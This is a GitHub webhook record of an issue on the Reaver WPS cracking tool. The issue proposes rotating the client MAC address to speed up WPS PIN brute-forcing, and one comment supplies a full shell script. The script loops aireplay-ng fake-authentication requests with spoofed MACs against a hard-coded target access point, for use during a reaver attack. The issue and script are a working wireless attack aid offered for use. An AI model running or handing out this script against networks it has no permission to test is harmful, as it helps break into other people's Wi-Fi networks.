{"action":"created","issue":{"url":"https://api.github.com/repos/chrsmith/reaver-wps/issues/258","labels_url":"https://api.github.com/repos/chrsmith/reaver-wps/issues/258/labels{/name}","comments_url":"https://api.github.com/repos/chrsmith/reaver-wps/issues/258/comments","events_url":"https://api.github.com/repos/chrsmith/reaver-wps/issues/258/events","html_url":"https://github.com/chrsmith/reaver-wps/issues/258","id":59405530,"number":258,"title":"MAC Address last character changer to speed up the attack","user":{"login":"GoogleCodeExporter","id":9614759,"avatar_url":"https://avatars.githubusercontent.com/u/9614759?v=3","gravatar_id":"","url":"https://api.github.com/users/GoogleCodeExporter","html_url":"https://github.com/GoogleCodeExporter","followers_url":"https://api.github.com/users/GoogleCodeExporter/followers","following_url":"https://api.github.com/users/GoogleCodeExporter/following{/other_user}","gists_url":"https://api.github.com/users/GoogleCodeExporter/gists{/gist_id}","starred_url":"https://api.github.com/users/GoogleCodeExporter/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GoogleCodeExporter/subscriptions","organizations_url":"https://api.github.com/users/GoogleCodeExporter/orgs","repos_url":"https://api.github.com/users/GoogleCodeExporter/repos","events_url":"https://api.github.com/users/GoogleCodeExporter/events{/privacy}","received_events_url":"https://api.github.com/users/GoogleCodeExporter/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/chrsmith/reaver-wps/labels/auto-migrated","name":"auto-migrated","color":"ededed"},{"url":"https://api.github.com/repos/chrsmith/reaver-wps/labels/Priority-Triage","name":"Priority-Triage","color":"ededed"},{"url":"https://api.github.com/repos/chrsmith/reaver-wps/labels/Type-Enhancement","name":"Type-Enhancement","color":"ededed"}],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":20,"created_at":"2015-03-01T16:57:21Z","updated_at":"2015-03-01T16:57:26Z","closed_at":null,"body":"```\nPlease describe the feature you would like to be implemented into Reaver.\nEnglish only.\n\nMAC Address last character changer to speed up the attack.\n\nWell, some times the AP will reject the \"EAPOL Request\" after a success pin \ntry. I made some tests with simultaneous reaver instances running with \ndifferent MACs (the -m argument), and when one instance gets \"WARNING: Receive \ntimeout occurred\", the other gets \"Received identity request\" and continue the \ncracking.\n\nThe problem of this method is: The reaver tool doesn't support simultaneous \ninstances (ok, I read the FAQ about it). If you run two reaver instances, by \nexample, the two instances will try the same pin at the same time.\n\nI made some changes on the reaver source code. Look the output after my changes:\n\n[+] Using MAC BC:99:47:B7:03:E9\n[+] Trying pin 00485678\n[+] Sending EAPOL START request\n[!] WARNING: Receive timeout occurred\n[+] Sending EAPOL START request\n[+] Received identity request\n[+] Sending identity response\n[+] Received identity request\n[+] Sending identity response\n[+] Received identity request\n[+] Sending identity response\n[+] Received identity request\n[+] Sending identity response\n[+] Received M1 message\n[+] Sending M2 message\n[+] Received M1 message\n[+] Received M1 message\n[+] Received M1 message\n[+] Received M3 message\n[+] Sending M4 message\n[+] Received M3 message\n[+] Received M3 message\n[+] Received WSC NACK\n[+] Sending WSC NACK\n[+] Using MAC BC:99:47:B7:03:E8\n[+] Trying pin 00495677\n[+] Sending EAPOL START request\n[!] WARNING: Receive timeout occurred\n[+] Sending EAPOL START request\n[+] Received identity request\n[+] Sending identity response\n[+] Received identity request\n[+] Sending identity response\n[+] Received M1 message\n[+] Sending M2 message\n[+] Received M1 message\n[+] Received M1 message\n[+] Received M1 message\n[+] Received M3 message\n[+] Sending M4 message\n[+] Received M3 message\n[+] Received M3 message\n[+] Received M3 message\n[+] Received WSC NACK\n[+] Sending WSC NACK\n[+] Using MAC BC:99:47:B7:03:E7 \n[+] Trying pin 00505673\n...\n\nOn the first try, reaver is using the client MAC \"BC:99:47:B7:03:E9\" (it is not \na real MAC, I'm just using for the example), on the second, \n\"BC:99:47:B7:03:E8\", on the third, \"BC:99:47:B7:03:E7\". Well, after the use of \nthe MAC \"BC:99:47:B7:03:E0\", reaver will start again on \"BC:99:47:B7:03:E9\".\n\nThe numbers:\n\nWith this method: (13 seconds/pin)\nWithout this method: (31 seconds/pin)\n\nIf the development team want, I can send my modified source code.\n\n\nThanks,\nBob\n```\n\nOriginal issue reported on code.google.com by `gabrielr...@gmail.com` on 2 Mar 2012 at 4:36"},"comment":{"url":"https://api.github.com/repos/chrsmith/reaver-wps/issues/comments/76612512","html_url":"https://github.com/chrsmith/reaver-wps/issues/258#issuecomment-76612512","issue_url":"https://api.github.com/repos/chrsmith/reaver-wps/issues/258","id":76612512,"user":{"login":"GoogleCodeExporter","id":9614759,"avatar_url":"https://avatars.githubusercontent.com/u/9614759?v=3","gravatar_id":"","url":"https://api.github.com/users/GoogleCodeExporter","html_url":"https://github.com/GoogleCodeExporter","followers_url":"https://api.github.com/users/GoogleCodeExporter/followers","following_url":"https://api.github.com/users/GoogleCodeExporter/following{/other_user}","gists_url":"https://api.github.com/users/GoogleCodeExporter/gists{/gist_id}","starred_url":"https://api.github.com/users/GoogleCodeExporter/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GoogleCodeExporter/subscriptions","organizations_url":"https://api.github.com/users/GoogleCodeExporter/orgs","repos_url":"https://api.github.com/users/GoogleCodeExporter/repos","events_url":"https://api.github.com/users/GoogleCodeExporter/events{/privacy}","received_events_url":"https://api.github.com/users/GoogleCodeExporter/received_events","type":"User","site_admin":false},"created_at":"2015-03-01T16:57:26Z","updated_at":"2015-03-01T16:57:26Z","body":"```\n#!/bin/sh\n# !!!!!   Script runs in continous loop TO STOP THIS SCRIPT open a new terminal \nwindow and type killall aireplay-ng    !!!!\n#                          Script designed to be run during a reaver attack\n# For historical reference previous scripts sending variable macs seemed to \nflood the router with association requests\n# slowing down the routers ability respond during a reaver attack\n# This script allows the user to set transmission rates and only send one(1) \nmac code at a time.\n# The script is designed for use with Backtrack5(BT5). \n# For BT5 users, copy the file to the  /usr/bin/ folder and type \nvariablemacs.sh in a terminal window. \n# This script file sends a constantly changing MAC Code to the target AP during\n# a reaver attack. You can alter the time,transmission rate and seconds to \nreauth by changing the variable\n# You can run wash then reaver and open airodump-ng on the same channel as \nreaver the run variablemacs.sh\n# \n#                          Before you start the program  \n# Change Target MAC variable within \"\" to your Target AP and then save the \nvariablemacs.sh file to the /usr/bin folder\n# Make sure the red \"\" remains around your mac variable entry\n# And Again remember to save to the /usr/bin folder after changes are made.\n# If you mess up the variables list a copy as comments can be found below\n######################################################################\n# TARGET=\"00:1F:5B:8A:47:48\" = Arouter, 00:26:75:3E:DD:6C = Brouter \n# VARMAC=\"00:11:22:33:44:5\" # Do not alter this unless you understand the \nprogram logic\n# MON=\"mon0\"  Can be changed if you virtual moniter is different\n# TIME=\"120\" #Seconds to reauthenticate\n# TRATE=\"150\" # Transmission rate\n# DELAY=\"1m\"  # Time process active 30s 1m 2m etc \n# The # = REM or remarks or comments. The Computer ignores this\n####################################################################### \n# Below are script the variables\n#\nTARGET=\"00:26:75:3E:DD:6C\" # Change the mac code to your target!!!!!!!!\nVARMAC=\"00:11:22:33:44:5\"  # Do not change unless you understand the coding \nlogic\nMON=\"mon0\" # Do not change thisunless your virtual moniter is not designated as \nmon0\nTIME=\"120\" # Seconds to reauthenticate\nTRATE=\"150\" # Transmission rate\nDELAY=\"1m\"  # Time process active 30s 1m 2m etc\n# Note below the 00:11:22:33:44:55 mac has been turned off as it is the same \nmac we are using with reaver 1.4\n#\nfor (( ; ;))\ndo\necho X\necho XXXXXXXXXXXXXXXXXXX\necho STARTING $VARMAC\"0\"\necho XXXXXXXXXXXXXXXXXXX\naireplay-ng -1 $TIME -x $TRATE -a $TARGET -h $VARMAC\"0\" --ignore-negative-one \n$MON & sleep $DELAY; kill $!\necho X\necho XXXXXXXXXXXXXXXXXXX\necho STARTING $VARMAC\"1\"\necho XXXXXXXXXXXXXXXXXXX\naireplay-ng -1 $TIME -x $TRATE -a $TARGET -h $VARMAC\"1\" --ignore-negative-one \n$MON & sleep $DELAY; kill $!\necho X\necho XXXXXXXXXXXXXXXXXXX\necho STARTING $VARMAC\"2\"\necho XXXXXXXXXXXXXXXXXXX\naireplay-ng -1 $TIME -x $TRATE -a $TARGET -h $VARMAC\"2\" --ignore-negative-one \n$MON & sleep $DELAY; kill $!\necho X\necho XXXXXXXXXXXXXXXXXXX\necho STARTING $VARMAC\"3\"\necho XXXXXXXXXXXXXXXXXXX\naireplay-ng -1 $TIME -x $TRATE -a $TARGET -h $VARMAC\"3\" --ignore-negative-one \n$MON & sleep $DELAY; kill $!\necho X\necho XXXXXXXXXXXXXXXXXXX\necho STARTING $VARMAC\"4\"\necho XXXXXXXXXXXXXXXXXXX\naireplay-ng -1 $TIME -x $TRATE -a $TARGET -h $VARMAC\"4\" --ignore-negative-one \n$MON & sleep $DELAY; kill $!\n# echo X\n# echo XXXXXXXXXXXXXXXXXXX\n# echo STARTING $VARMAC\"5\"\n# echo XXXXXXXXXXXXXXXXXXX\n# Remarked out as this is the mac used by reaver\n# aireplay-ng -1 $TIME -x $TRATE -a $TARGET -h $VARMAC\"5\" --ignore-negative-one \n$MON & sleep $DELAY; kill $!\necho X\necho XXXXXXXXXXXXXXXXXXX\necho STARTING $VARMAC\"6\"\necho XXXXXXXXXXXXXXXXXXX\naireplay-ng -1 $TIME -x $TRATE -a $TARGET -h $VARMAC\"6\" --ignore-negative-one \n$MON & sleep $DELAY; kill $!\necho X\necho XXXXXXXXXXXXXXXXXXX\necho STARTING $VARMAC\"7\"\necho XXXXXXXXXXXXXXXXXXX\naireplay-ng -1 $TIME -x $TRATE -a $TARGET -h $VARMAC\"7\" --ignore-negative-one \n$MON & sleep $DELAY; kill $!\necho X\necho XXXXXXXXXXXXXXXXXXX\necho STARTING $VARMAC\"8\"\necho XXXXXXXXXXXXXXXXXXX\naireplay-ng -1 $TIME -x $TRATE -a $TARGET -h $VARMAC\"8\" --ignore-negative-one \n$MON & sleep $DELAY; kill $!\necho X\necho XXXXXXXXXXXXXXXXXXX\necho STARTING $VARMAC\"9\"\necho XXXXXXXXXXXXXXXXXXX\naireplay-ng -1 $TIME -x $TRATE -a $TARGET -h $VARMAC\"9\" --ignore-negative-one \n$MON & sleep $DELAY; kill $!\necho X\necho XXXXXXXXXXXXXXXXXXX\necho STARTING $VARMAC\"A\"\necho XXXXXXXXXXXXXXXXXXX\naireplay-ng -1 $TIME -x $TRATE -a $TARGET -h $VARMAC\"A\" --ignore-negative-one \n$MON & sleep $DELAY; kill $!\necho X\necho XXXXXXXXXXXXXXXXXXX\necho STARTING $VARMAC\"B\"\necho XXXXXXXXXXXXXXXXXXX\naireplay-ng -1 $TIME -x $TRATE -a $TARGET -h $VARMAC\"B\" --ignore-negative-one \n$MON & sleep $DELAY; kill $!\necho X\necho XXXXXXXXXXXXXXXXXXX\necho STARTING $VARMAC\"C\"\necho XXXXXXXXXXXXXXXXXXX\naireplay-ng -1 $TIME -x $TRATE -a $TARGET -h $VARMAC\"C\" --ignore-negative-one \n$MON & sleep $DELAY; kill $!\necho X\necho XXXXXXXXXXXXXXXXXXX\necho STARTING $VARMAC\"D\"\necho XXXXXXXXXXXXXXXXXXX\naireplay-ng -1 $TIME -x $TRATE -a $TARGET -h $VARMAC\"D\" --ignore-negative-one \n$MON & sleep $DELAY; kill $!\necho X\necho XXXXXXXXXXXXXXXXXXX\necho STARTING $VARMAC\"E\"\necho XXXXXXXXXXXXXXXXXXX\naireplay-ng -1 $TIME -x $TRATE -a $TARGET -h $VARMAC\"E\" --ignore-negative-one \n$MON & sleep $DELAY; kill $!\necho X\necho XXXXXXXXXXXXXXXXXXX\necho STARTING $VARMAC\"F\"\necho XXXXXXXXXXXXXXXXXXX\naireplay-ng -1 $TIME -x $TRATE -a $TARGET -h $VARMAC\"F\" --ignore-negative-one \n$MON & sleep $DELAY; kill $!\ndone\n\n```\n\nOriginal comment by `muske...@yahoo.com` on 31 Jul 2012 at 8:36"}}